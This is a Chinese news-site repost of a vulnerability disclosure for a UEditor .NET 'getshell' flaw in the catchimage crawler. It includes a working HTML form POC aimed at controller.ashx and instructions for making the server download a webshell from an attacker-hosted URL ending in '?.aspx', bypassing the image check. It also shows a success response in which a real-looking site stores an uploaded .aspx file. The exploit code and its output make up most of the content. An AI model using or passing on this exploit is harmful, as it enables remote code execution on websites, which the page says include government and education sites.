主页 > 科技云 > > 正文

UEditor .net版本 getshell (重大漏洞等级)

2018-08-25科技云 编辑:admin

漏洞简介
发布时间:2018-08-03
公开时间:2018-08-21
漏洞类型:逻辑漏洞
危害等级:高
漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
测试版本:github最新版
漏洞详情
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs Crawler方法对source[]的检查仅仅是一个ContentType
 
 if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }
并没有检查文件扩展名就直接保存到本地 导致getshell POC:
 
<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p>
  <input type="submit" value="Submit" />
</form>
shell addr 可以用http://www.xxx.com/xxx.jpg?.aspx的方式使用包含木马的图片(为了使服务器返回的ContentType是image/xxx) 也可以用http://www.xxxx.com/xxx.php?.aspx然后在xxx.php中自己设置ContentType
 
返回如下
 
{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com/http://www.ygpy.net/upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"http://www.ygpy.net/upload/image/201808/03/6366885698033038502306919.aspx"}]}

由于此次漏洞威胁的都是政府机构类跟教育类网站,这里站长就不在多做说明。
大家都爱看
<strong>一嗨租车宣布签署1.95亿美元银团贷款协议</strong>一嗨租车宣布签署1.95亿美元银团贷款协议 大摩将陌陌股票评级降至持股观望 目标价大摩将陌陌股票评级降至持股观望 目标价
查看更多热点新闻